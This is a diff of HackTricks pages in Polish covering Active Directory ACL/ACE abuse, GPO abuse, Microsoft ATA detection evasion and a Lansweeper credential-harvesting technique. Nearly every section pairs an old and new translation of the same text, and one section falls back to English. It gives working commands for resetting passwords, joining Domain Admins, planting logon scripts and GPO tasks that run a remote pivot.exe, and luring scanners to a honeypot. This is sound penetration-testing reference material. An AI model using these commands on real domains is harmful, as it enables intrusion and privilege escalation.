- **Dla obiektów użytkowników**: Podejrzane wskaźniki obejmują nietypowy ObjectSID, rzadkie logowania, daty utworzenia i niskie liczby błędnych haseł.
|
||||
- **Ogólne wskaźniki**: Porównanie atrybutów potencjalnych obiektów zwodniczych z atrybutami obiektów autentycznych może ujawnić niespójności. Narzędzia takie jak [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) mogą pomóc w identyfikacji takich oszustw.
|
||||
- **Dla obiektów użytkownika**: Podejrzane wskaźniki obejmują nietypowe ObjectSID, rzadkie logowania, daty utworzenia oraz niskie zliczenia błędnych haseł.
|
||||
- **Wskaźniki ogólne**: Porównywanie atrybutów potencjalnych obiektów-wabików z rzeczywistymi może ujawnić niespójności. Narzędzia takie jak [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) mogą pomóc w identyfikacji takich deceptions.
|
||||
|
||||
### **Omijanie systemów wykrywania**
|
||||
### **Omijanie systemów detekcji**
|
||||
|
||||
- **Omijanie wykrywania Microsoft ATA**:
|
||||
- **Enumeracja użytkowników**: Unikanie enumeracji sesji na kontrolerach domeny, aby zapobiec wykryciu przez ATA.
|
||||
- **Impersonacja biletu**: Wykorzystanie kluczy **aes** do tworzenia biletów pomaga unikać wykrycia, nie obniżając się do NTLM.
|
||||
- **Ataki DCSync**: Zaleca się wykonywanie z nie-kontrolera domeny, aby uniknąć wykrycia przez ATA, ponieważ bezpośrednie wykonanie z kontrolera domeny wywoła alerty.
|
||||
- **Microsoft ATA Detection Bypass**:
|
||||
- **User Enumeration**: Unikanie enumeracji sesji na Domain Controllers, aby zapobiec wykryciu przez ATA.
|
||||
- **Ticket Impersonation**: Wykorzystanie kluczy **aes** do tworzenia ticketów pomaga unikać wykrycia przez niezobowiązywanie do NTLM.
|
||||
- **DCSync Attacks**: Wykonywanie z nie-Domain Controller, aby uniknąć wykrycia przez ATA; bezpośrednie uruchomienie z Domain Controller spowoduje alerty.
|
||||
|
||||
## Odnośniki
|
||||
## Źródła
|
||||
|
||||
- [http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/](http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/)
|
||||
- [https://www.labofapenetrationtester.com/2018/10/deploy-deception.html](https://www.labofapenetrationtester.com/2018/10/deploy-deception.html)
|
||||
|
@ -1,8 +1,8 @@
|
||||
# Abusing Active Directory ACLs/ACEs
|
||||
# Nadużywanie Active Directory ACLs/ACEs
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Ta strona jest głównie podsumowaniem technik z** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **i** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**. Aby uzyskać więcej szczegółów, sprawdź oryginalne artykuły.**
|
||||
**Ta strona jest w większości podsumowaniem technik z** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **i** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**. Po więcej szczegółów sprawdź oryginalne artykuły.**
|
||||
|
||||
## BadSuccessor
|
||||
|
||||
@ -11,62 +11,70 @@
|
||||
BadSuccessor.md
|
||||
{{#endref}}
|
||||
|
||||
## **GenericAll Rights on User**
|
||||
## **GenericAll — prawa do konta użytkownika**
|
||||
|
||||
Ten przywilej daje atakującemu pełną kontrolę nad kontem użytkownika. Gdy prawa `GenericAll` zostaną potwierdzone za pomocą polecenia `Get-ObjectAcl`, atakujący może:
|
||||
To uprawnienie daje atakującemu pełną kontrolę nad docelowym kontem użytkownika. Po potwierdzeniu praw `GenericAll` za pomocą polecenia `Get-ObjectAcl`, atakujący może:
|
||||
|
||||
- **Zmienić hasło celu**: Używając `net user <username> <password> /domain`, atakujący może zresetować hasło użytkownika.
|
||||
- **Celowane Kerberoasting**: Przypisz SPN do konta użytkownika, aby uczynić je kerberoastable, a następnie użyj Rubeus i targetedKerberoast.py, aby wyodrębnić i spróbować złamać hashe biletu przyznającego (TGT).
|
||||
- **Zmiana hasła celu**: Używając `net user <username> <password> /domain`, atakujący może zresetować hasło użytkownika.
|
||||
- **Targeted Kerberoasting**: Przypisz SPN do konta użytkownika, aby uczynić je kerberoastable, a następnie użyj Rubeus i targetedKerberoast.py, aby wyodrębnić hashe ticket-granting ticket (TGT) i spróbować je złamać.
|
||||
```bash
|
||||
Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}
|
||||
.\Rubeus.exe kerberoast /user:<username> /nowrap
|
||||
Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose
|
||||
```
|
||||
- **Targeted ASREPRoasting**: Wyłącz wstępną autoryzację dla użytkownika, co sprawia, że jego konto jest podatne na ASREPRoasting.
|
||||
- **Ukierunkowane ASREPRoasting**: Wyłącz wstępne uwierzytelnianie dla użytkownika, co naraża jego konto na ASREPRoasting.
|
||||
```bash
|
||||
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
|
||||
```
|
||||
## **GenericAll Rights on Group**
|
||||
## **GenericAll — prawa do grupy**
|
||||
|
||||
Ten przywilej pozwala atakującemu na manipulowanie członkostwem grupy, jeśli ma prawa `GenericAll` w grupie takiej jak `Domain Admins`. Po zidentyfikowaniu wyróżnionej nazwy grupy za pomocą `Get-NetGroup`, atakujący może:
|
||||
To uprawnienie pozwala atakującemu manipulować członkostwem w grupach, jeśli ma prawa `GenericAll` w grupie takiej jak `Domain Admins`. Po zidentyfikowaniu wyróżnionej nazwy grupy (distinguished name) za pomocą `Get-NetGroup`, atakujący może:
|
||||
|
||||
- **Dodać Siebie do Grupy Domain Admins**: Można to zrobić za pomocą bezpośrednich poleceń lub korzystając z modułów takich jak Active Directory lub PowerSploit.
|
||||
- **Dodać siebie do grupy Domain Admins**: Można to zrobić za pomocą bezpośrednich poleceń lub używając modułów takich jak Active Directory lub PowerSploit.
|
||||
```bash
|
||||
net group "domain admins" spotless /add /domain
|
||||
Add-ADGroupMember -Identity "domain admins" -Members spotless
|
||||
Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"
|
||||
```
|
||||
Z Linuxa możesz też wykorzystać BloodyAD, aby dodać siebie do dowolnych grup, jeśli posiadasz nad nimi członkostwo GenericAll/Write. Jeśli docelowa grupa jest zagnieżdżona w “Remote Management Users”, natychmiast uzyskasz dostęp WinRM na hostach, które uznają tę grupę:
|
||||
```bash
|
||||
# Linux tooling example (BloodyAD) to add yourself to a target group
|
||||
bloodyAD --host <dc-fqdn> -d <domain> -u <user> -p '<pass>' add groupMember "<Target Group>" <user>
|
||||
|
||||
# If the target group is member of "Remote Management Users", WinRM becomes available
|
||||
netexec winrm <dc-fqdn> -u <user> -p '<pass>'
|
||||
```
|
||||
## **GenericAll / GenericWrite / Write on Computer/User**
|
||||
|
||||
Posiadanie tych uprawnień na obiekcie komputera lub koncie użytkownika pozwala na:
|
||||
Posiadanie tych uprawnień na obiekcie komputera lub koncie użytkownika umożliwia:
|
||||
|
||||
- **Kerberos Resource-based Constrained Delegation**: Umożliwia przejęcie obiektu komputera.
|
||||
- **Shadow Credentials**: Użyj tej techniki, aby podszyć się pod obiekt komputera lub konto użytkownika, wykorzystując uprawnienia do tworzenia shadow credentials.
|
||||
- **Kerberos Resource-based Constrained Delegation**: Pozwala na przejęcie obiektu komputera.
|
||||
- **Shadow Credentials**: Użyj tej techniki, aby podszyć się pod komputer lub konto użytkownika, wykorzystując uprawnienia do stworzenia shadow credentials.
|
||||
|
||||
## **WriteProperty on Group**
|
||||
|
||||
Jeśli użytkownik ma prawa `WriteProperty` do wszystkich obiektów w konkretnej grupie (np. `Domain Admins`), może:
|
||||
Jeśli użytkownik ma `WriteProperty` prawa na wszystkich obiektach dla konkretnej grupy (np. `Domain Admins`), może:
|
||||
|
||||
- **Dodać Siebie do Grupy Domain Admins**: Możliwe do osiągnięcia poprzez połączenie poleceń `net user` i `Add-NetGroupUser`, ta metoda pozwala na eskalację uprawnień w obrębie domeny.
|
||||
- **Dodać siebie do grupy Domain Admins**: Osiągalne poprzez połączenie poleceń `net user` i `Add-NetGroupUser`, ta metoda pozwala na eskalację uprawnień w domenie.
|
||||
```bash
|
||||
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
|
||||
```
|
||||
## **Self (Self-Membership) na Grupie**
|
||||
## **Self (Self-Membership) on Group**
|
||||
|
||||
Ten przywilej umożliwia atakującym dodawanie siebie do konkretnych grup, takich jak `Domain Admins`, za pomocą poleceń, które bezpośrednio manipulują członkostwem w grupie. Użycie następującej sekwencji poleceń pozwala na samododanie:
|
||||
To uprawnienie umożliwia atakującemu dodanie siebie do określonych grup, takich jak `Domain Admins`, za pomocą poleceń, które bezpośrednio manipulują członkostwem w grupie. Użycie następującej sekwencji poleceń umożliwia dodanie siebie:
|
||||
```bash
|
||||
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
|
||||
```
|
||||
## **WriteProperty (Self-Membership)**
|
||||
|
||||
Podobne uprawnienie, pozwala atakującym na bezpośrednie dodawanie siebie do grup poprzez modyfikację właściwości grup, jeśli mają prawo `WriteProperty` do tych grup. Potwierdzenie i wykonanie tego uprawnienia odbywa się za pomocą:
|
||||
Podobne uprawnienie — pozwala atakującemu bezpośrednio dodać siebie do grup poprzez modyfikację właściwości grup, jeśli posiada prawo `WriteProperty` na tych grupach. Potwierdzenie i wykonanie tego uprawnienia przeprowadza się za pomocą:
|
||||
```bash
|
||||
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
|
||||
net group "domain admins" spotless /add /domain
|
||||
```
|
||||
## **ForceChangePassword**
|
||||
|
||||
Posiadanie `ExtendedRight` na użytkowniku dla `User-Force-Change-Password` umożliwia resetowanie haseł bez znajomości aktualnego hasła. Weryfikacja tego prawa i jego wykorzystanie mogą być przeprowadzone za pomocą PowerShell lub alternatywnych narzędzi wiersza poleceń, oferując kilka metod resetowania hasła użytkownika, w tym sesje interaktywne i jednowierszowe polecenia dla środowisk nieinteraktywnych. Polecenia obejmują od prostych wywołań PowerShell po użycie `rpcclient` na Linuksie, co pokazuje wszechstronność wektorów ataku.
|
||||
Posiadanie `ExtendedRight` na użytkowniku dla `User-Force-Change-Password` pozwala na resetowanie hasła bez znajomości aktualnego hasła. Weryfikację tego prawa i jego wykorzystanie można przeprowadzić za pomocą PowerShell lub alternatywnych narzędzi wiersza poleceń, oferując kilka metod resetowania hasła użytkownika, w tym sesje interaktywne oraz one-liners dla środowisk nieinteraktywnych. Polecenia obejmują proste wywołania PowerShell oraz użycie `rpcclient` na Linuxie, demonstrując wszechstronność wektorów ataku.
|
||||
```bash
|
||||
Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
|
||||
Set-DomainUserPassword -Identity delegate -Verbose
|
||||
@ -77,23 +85,23 @@ Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureStri
|
||||
rpcclient -U KnownUsername 10.10.10.192
|
||||
> setuserinfo2 UsernameChange 23 'ComplexP4ssw0rd!'
|
||||
```
|
||||
## **WriteOwner na grupie**
|
||||
## **WriteOwner on Group**
|
||||
|
||||
Jeśli atakujący odkryje, że ma prawa `WriteOwner` do grupy, może zmienić właściciela grupy na siebie. Ma to szczególne znaczenie, gdy grupą, o której mowa, są `Domain Admins`, ponieważ zmiana właściciela pozwala na szerszą kontrolę nad atrybutami grupy i członkostwem. Proces ten polega na zidentyfikowaniu odpowiedniego obiektu za pomocą `Get-ObjectAcl`, a następnie użyciu `Set-DomainObjectOwner`, aby zmodyfikować właściciela, zarówno przez SID, jak i nazwę.
|
||||
Jeśli atakujący stwierdzi, że ma prawa `WriteOwner` do grupy, może zmienić właściciela tej grupy na siebie. Jest to szczególnie istotne, gdy grupa to `Domain Admins`, ponieważ zmiana właściciela pozwala na szerszą kontrolę nad atrybutami grupy i członkostwem. Proces polega na zidentyfikowaniu odpowiedniego obiektu za pomocą `Get-ObjectAcl`, a następnie użyciu `Set-DomainObjectOwner` do zmodyfikowania właściciela, albo przez SID, albo przez nazwę.
|
||||
```bash
|
||||
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
|
||||
Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
|
||||
Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico
|
||||
```
|
||||
## **GenericWrite na użytkowniku**
|
||||
## **GenericWrite on User**
|
||||
|
||||
To uprawnienie pozwala atakującemu na modyfikację właściwości użytkownika. W szczególności, mając dostęp `GenericWrite`, atakujący może zmienić ścieżkę skryptu logowania użytkownika, aby wykonać złośliwy skrypt po logowaniu użytkownika. Osiąga się to za pomocą polecenia `Set-ADObject`, aby zaktualizować właściwość `scriptpath` docelowego użytkownika, aby wskazywała na skrypt atakującego.
|
||||
To uprawnienie umożliwia atakującemu modyfikację właściwości użytkownika. Konkretnie, mając dostęp `GenericWrite`, atakujący może zmienić ścieżkę skryptu logowania użytkownika, aby uruchomić złośliwy skrypt podczas logowania. Odbywa się to poprzez użycie polecenia `Set-ADObject` w celu zaktualizowania właściwości `scriptpath` docelowego użytkownika tak, by wskazywała na skrypt atakującego.
|
||||
```bash
|
||||
Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"
|
||||
```
|
||||
## **GenericWrite na grupie**
|
||||
## **GenericWrite on Group**
|
||||
|
||||
Dzięki temu uprawnieniu, atakujący mogą manipulować członkostwem w grupie, na przykład dodając siebie lub innych użytkowników do konkretnych grup. Proces ten polega na utworzeniu obiektu poświadczeń, użyciu go do dodawania lub usuwania użytkowników z grupy oraz weryfikacji zmian członkostwa za pomocą poleceń PowerShell.
|
||||
Z tym uprawnieniem atakujący mogą manipulować członkostwem w grupie, na przykład dodając siebie lub innych użytkowników do określonych grup. Proces ten obejmuje utworzenie obiektu poświadczeń, użycie go do dodawania lub usuwania użytkowników z grupy oraz weryfikację zmian członkostwa za pomocą poleceń PowerShell.
|
||||
```bash
|
||||
$pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force
|
||||
$creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd)
|
||||
@ -103,7 +111,7 @@ Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'use
|
||||
```
|
||||
## **WriteDACL + WriteOwner**
|
||||
|
||||
Posiadanie obiektu AD i posiadanie uprawnień `WriteDACL` umożliwia atakującemu przyznanie sobie uprawnień `GenericAll` do obiektu. Osiąga się to poprzez manipulację ADSI, co pozwala na pełną kontrolę nad obiektem i możliwość modyfikacji jego członkostwa w grupach. Mimo to, istnieją ograniczenia przy próbie wykorzystania tych uprawnień za pomocą poleceń `Set-Acl` / `Get-Acl` modułu Active Directory.
|
||||
Posiadanie obiektu AD oraz uprawnień `WriteDACL` do niego umożliwia atakującemu nadanie sobie uprawnień `GenericAll` do tego obiektu. Osiąga się to poprzez manipulację ADSI, co pozwala na pełną kontrolę nad obiektem i możliwość modyfikowania jego przynależności do grup. Mimo to istnieją ograniczenia przy próbach wykorzystania tych uprawnień za pomocą cmdletów modułu Active Directory `Set-Acl` / `Get-Acl`.
|
||||
```bash
|
||||
$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
|
||||
$IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
|
||||
@ -113,64 +121,64 @@ $ADSI.psbase.commitchanges()
|
||||
```
|
||||
## **Replikacja w domenie (DCSync)**
|
||||
|
||||
Atak DCSync wykorzystuje specyficzne uprawnienia replikacji w domenie, aby naśladować kontroler domeny i synchronizować dane, w tym poświadczenia użytkowników. Ta potężna technika wymaga uprawnień takich jak `DS-Replication-Get-Changes`, co pozwala atakującym na wydobycie wrażliwych informacji z środowiska AD bez bezpośredniego dostępu do kontrolera domeny. [**Dowiedz się więcej o ataku DCSync tutaj.**](../dcsync.md)
|
||||
The DCSync attack leverages specific replication permissions on the domain to mimic a Domain Controller and synchronize data, including user credentials. This powerful technique requires permissions like `DS-Replication-Get-Changes`, allowing attackers to extract sensitive information from the AD environment without direct access to a Domain Controller. [**Learn more about the DCSync attack here.**](../dcsync.md)
|
||||
|
||||
## Delegacja GPO <a href="#gpo-delegation" id="gpo-delegation"></a>
|
||||
|
||||
### Delegacja GPO
|
||||
|
||||
Delegowany dostęp do zarządzania obiektami zasad grupy (GPO) może stwarzać znaczące ryzyko bezpieczeństwa. Na przykład, jeśli użytkownik taki jak `offense\spotless` ma delegowane prawa do zarządzania GPO, może mieć uprawnienia takie jak **WriteProperty**, **WriteDacl** i **WriteOwner**. Te uprawnienia mogą być nadużywane w celach złośliwych, co można zidentyfikować za pomocą PowerView: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
||||
Delegated access to manage Group Policy Objects (GPOs) can present significant security risks. For instance, if a user such as `offense\spotless` is delegated GPO management rights, they may have privileges like **WriteProperty**, **WriteDacl**, and **WriteOwner**. These permissions can be abused for malicious purposes, as identified using PowerView: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
||||
|
||||
### Wyliczanie uprawnień GPO
|
||||
### Enumeracja uprawnień GPO
|
||||
|
||||
Aby zidentyfikować źle skonfigurowane GPO, można połączyć cmdlety PowerSploit. Umożliwia to odkrycie GPO, do których dany użytkownik ma uprawnienia do zarządzania: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
||||
To identify misconfigured GPOs, PowerSploit's cmdlets can be chained together. This allows for the discovery of GPOs that a specific user has permissions to manage: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
||||
|
||||
**Komputery z zastosowaną daną polityką**: Możliwe jest ustalenie, które komputery mają zastosowaną konkretną GPO, co pomaga zrozumieć zakres potencjalnego wpływu. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
|
||||
**Komputery z zastosowaną daną polityką**: It's possible to resolve which computers a specific GPO applies to, helping understand the scope of potential impact. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
|
||||
|
||||
**Polityki zastosowane do danego komputera**: Aby zobaczyć, jakie polityki są zastosowane do konkretnego komputera, można wykorzystać polecenia takie jak `Get-DomainGPO`.
|
||||
**Polityki zastosowane dla konkretnego komputera**: To see what policies are applied to a particular computer, commands like `Get-DomainGPO` can be utilized.
|
||||
|
||||
**OUs z zastosowaną daną polityką**: Identyfikacja jednostek organizacyjnych (OUs) dotkniętych daną polityką może być przeprowadzona za pomocą `Get-DomainOU`.
|
||||
**OU z zastosowaną daną polityką**: Identifying organizational units (OUs) affected by a given policy can be done using `Get-DomainOU`.
|
||||
|
||||
Możesz również użyć narzędzia [**GPOHound**](https://github.com/cogiceo/GPOHound), aby wyliczyć GPO i znaleźć w nich problemy.
|
||||
You can also use the tool [**GPOHound**](https://github.com/cogiceo/GPOHound) to enumerate GPOs and find issues in them.
|
||||
|
||||
### Nadużycie GPO - New-GPOImmediateTask
|
||||
|
||||
Źle skonfigurowane GPO mogą być wykorzystywane do wykonywania kodu, na przykład poprzez utworzenie natychmiastowego zaplanowanego zadania. Można to zrobić, aby dodać użytkownika do lokalnej grupy administratorów na dotkniętych maszynach, znacznie podnosząc uprawnienia:
|
||||
Nieprawidłowo skonfigurowane GPO mogą być wykorzystane do uruchomienia kodu, na przykład poprzez utworzenie natychmiastowego zadania zaplanowanego. Można to zrobić, aby dodać użytkownika do grupy lokalnych administratorów na zaatakowanych maszynach, co znacząco podnosi uprawnienia:
|
||||
```bash
|
||||
New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force
|
||||
```
|
||||
### GroupPolicy module - Abuse GPO
|
||||
|
||||
Moduł GroupPolicy, jeśli jest zainstalowany, umożliwia tworzenie i łączenie nowych GPO oraz ustawianie preferencji, takich jak wartości rejestru do uruchamiania backdoorów na dotkniętych komputerach. Ta metoda wymaga zaktualizowania GPO oraz zalogowania się użytkownika na komputerze w celu wykonania:
|
||||
GroupPolicy module, jeśli jest zainstalowany, pozwala na tworzenie i linkowanie nowych GPOs oraz ustawianie preferencji, takich jak wartości rejestru uruchamiające backdoors na dotkniętych komputerach. Ta metoda wymaga zaktualizowania GPO i zalogowania się użytkownika na komputerze, aby doszło do wykonania:
|
||||
```bash
|
||||
New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io"
|
||||
Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString
|
||||
```
|
||||
### SharpGPOAbuse - Wykorzystanie GPO
|
||||
### SharpGPOAbuse - Abuse GPO
|
||||
|
||||
SharpGPOAbuse oferuje metodę wykorzystania istniejących GPO poprzez dodawanie zadań lub modyfikowanie ustawień bez potrzeby tworzenia nowych GPO. To narzędzie wymaga modyfikacji istniejących GPO lub użycia narzędzi RSAT do tworzenia nowych przed zastosowaniem zmian:
|
||||
SharpGPOAbuse oferuje metodę wykorzystania istniejących GPO poprzez dodawanie zadań lub modyfikowanie ustawień bez konieczności tworzenia nowych GPO. To narzędzie wymaga modyfikacji istniejących GPO lub użycia narzędzi RSAT do utworzenia nowych przed zastosowaniem zmian:
|
||||
```bash
|
||||
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging"
|
||||
```
|
||||
### Wymuszenie aktualizacji polityki
|
||||
### Wymuś aktualizację zasad
|
||||
|
||||
Aktualizacje GPO zazwyczaj występują co około 90 minut. Aby przyspieszyć ten proces, szczególnie po wprowadzeniu zmiany, można użyć polecenia `gpupdate /force` na docelowym komputerze, aby wymusić natychmiastową aktualizację polityki. To polecenie zapewnia, że wszelkie modyfikacje GPO są stosowane bez czekania na następny automatyczny cykl aktualizacji.
|
||||
Aktualizacje GPO zwykle odbywają się co około 90 minut. Aby przyspieszyć ten proces — szczególnie po wprowadzeniu zmiany — na komputerze docelowym można uruchomić polecenie `gpupdate /force`, aby wymusić natychmiastową aktualizację zasad. Polecenie to gwarantuje zastosowanie modyfikacji GPO bez oczekiwania na kolejny cykl automatycznej aktualizacji.
|
||||
|
||||
### Pod maską
|
||||
### Szczegóły techniczne
|
||||
|
||||
Po zbadaniu zaplanowanych zadań dla danego GPO, takiego jak `Misconfigured Policy`, można potwierdzić dodanie zadań takich jak `evilTask`. Zadania te są tworzone za pomocą skryptów lub narzędzi wiersza poleceń mających na celu modyfikację zachowania systemu lub eskalację uprawnień.
|
||||
Po przejrzeniu Scheduled Tasks dla danego GPO, takiego jak `Misconfigured Policy`, można potwierdzić dodanie zadań takich jak `evilTask`. Zadania te są tworzone za pomocą skryptów lub narzędzi wiersza poleceń, mających na celu modyfikację zachowania systemu lub escalate privileges.
|
||||
|
||||
Struktura zadania, jak pokazano w pliku konfiguracyjnym XML generowanym przez `New-GPOImmediateTask`, określa szczegóły zaplanowanego zadania - w tym polecenie do wykonania i jego wyzwalacze. Ten plik przedstawia, jak zaplanowane zadania są definiowane i zarządzane w ramach GPO, zapewniając metodę do wykonywania dowolnych poleceń lub skryptów jako część egzekwowania polityki.
|
||||
Struktura zadania, widoczna w pliku konfiguracyjnym XML wygenerowanym przez `New-GPOImmediateTask`, przedstawia szczegóły zadania zaplanowanego — w tym polecenie do wykonania oraz jego wyzwalacze. Ten plik pokazuje, jak zadania zaplanowane są definiowane i zarządzane w GPOs, dostarczając metodę do wykonywania dowolnych poleceń lub skryptów w ramach egzekwowania polityk.
|
||||
|
||||
### Użytkownicy i grupy
|
||||
|
||||
GPO umożliwiają również manipulację członkostwem użytkowników i grup na docelowych systemach. Poprzez bezpośrednią edycję plików polityki Użytkowników i Grup, atakujący mogą dodawać użytkowników do uprzywilejowanych grup, takich jak lokalna grupa `administrators`. Jest to możliwe dzięki delegacji uprawnień zarządzania GPO, co pozwala na modyfikację plików polityki w celu dodania nowych użytkowników lub zmiany członkostwa w grupach.
|
||||
GPOs pozwalają również na manipulowanie członkostwem użytkowników i grup na systemach docelowych. Poprzez bezpośrednią edycję plików polityk Users and Groups, atakujący mogą dodawać użytkowników do uprzywilejowanych grup, takich jak lokalna grupa `administrators`. Jest to możliwe dzięki delegowaniu uprawnień do zarządzania GPO, co umożliwia modyfikowanie plików polityk w celu dodania nowych użytkowników lub zmiany członkostwa w grupach.
|
||||
|
||||
Plik konfiguracyjny XML dla Użytkowników i Grup określa, jak te zmiany są wdrażane. Dodając wpisy do tego pliku, określonym użytkownikom można przyznać podwyższone uprawnienia w systemach objętych zmianami. Ta metoda oferuje bezpośrednie podejście do eskalacji uprawnień poprzez manipulację GPO.
|
||||
Plik konfiguracyjny XML dla Users and Groups opisuje, jak te zmiany są implementowane. Poprzez dodanie wpisów do tego pliku, konkretni użytkownicy mogą otrzymać elevated privileges na wszystkich dotkniętych systemach. Ta metoda oferuje bezpośrednie podejście do privilege escalation poprzez manipulację GPO.
|
||||
|
||||
Ponadto, dodatkowe metody wykonywania kodu lub utrzymywania trwałości, takie jak wykorzystanie skryptów logowania/wylogowywania, modyfikacja kluczy rejestru dla autorunów, instalowanie oprogramowania za pomocą plików .msi lub edytowanie konfiguracji usług, mogą być również rozważane. Techniki te oferują różne możliwości utrzymania dostępu i kontrolowania docelowych systemów poprzez nadużycie GPO.
|
||||
Ponadto można rozważyć dodatkowe metody uruchamiania kodu lub utrzymywania persistence, takie jak wykorzystanie logon/logoff scripts, modyfikacja kluczy rejestru odpowiedzialnych za autoruns, instalacja oprogramowania za pomocą plików .msi lub edycja konfiguracji usług. Techniki te zapewniają różne ścieżki do utrzymania dostępu i kontroli nad systemami docelowymi poprzez nadużycie GPOs.
|
||||
|
||||
## Odnośniki
|
||||
## Źródła
|
||||
|
||||
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces)
|
||||
- [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)
|
||||
|
@ -0,0 +1,153 @@
|
||||
# Lansweeper Abuse: Credential Harvesting, Secrets Decryption, and Deployment RCE
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Lansweeper to platforma do odkrywania i inwentaryzacji zasobów IT często wdrażana na Windows i zintegrowana z Active Directory. Poświadczenia skonfigurowane w Lansweeper są używane przez jego silniki skanujące do uwierzytelniania się do zasobów przez protokoły takie jak SSH, SMB/WMI i WinRM. Błędne konfiguracje często pozwalają na:
|
||||
|
||||
- Przechwytywanie poświadczeń przez przekierowanie Scanning Target na host kontrolowany przez atakującego (honeypot)
|
||||
- Nadużycie AD ACLs eksponowanych przez Lansweeper-related groups w celu uzyskania dostępu zdalnego
|
||||
- Deszyfrację sekretów skonfigurowanych w Lansweeper bezpośrednio na hoście (connection strings i przechowywane poświadczenia skanowania)
|
||||
- Wykonanie kodu na zarządzanych endpointach przez funkcję Deployment (często uruchamianą jako SYSTEM)
|
||||
|
||||
Ta strona podsumowuje praktyczne ścieżki działania atakującego i polecenia do nadużycia tych zachowań podczas engagementów.
|
||||
|
||||
## 1) Zbieranie poświadczeń skanowania przez honeypot (przykład SSH)
|
||||
|
||||
Idea: utwórz Scanning Target wskazujący na Twój host i przypisz do niego istniejące Scanning Credentials. Gdy skan się uruchomi, Lansweeper spróbuje uwierzytelnić się przy użyciu tych poświadczeń, a Twój honeypot je przechwyci.
|
||||
|
||||
Przegląd kroków (web UI):
|
||||
- Scanning → Scanning Targets → Add Scanning Target
|
||||
- Type: IP Range (or Single IP) = your VPN IP
|
||||
- Configure SSH port to something reachable (e.g., 2022 if 22 is blocked)
|
||||
- Disable schedule and plan to trigger manually
|
||||
- Scanning → Scanning Credentials → ensure Linux/SSH creds exist; map them to the new target (enable all as needed)
|
||||
- Kliknij “Scan now” na targetcie
|
||||
- Uruchom SSH honeypot i pobierz próby użytych username/password
|
||||
|
||||
Przykład z sshesame:
|
||||
```yaml
|
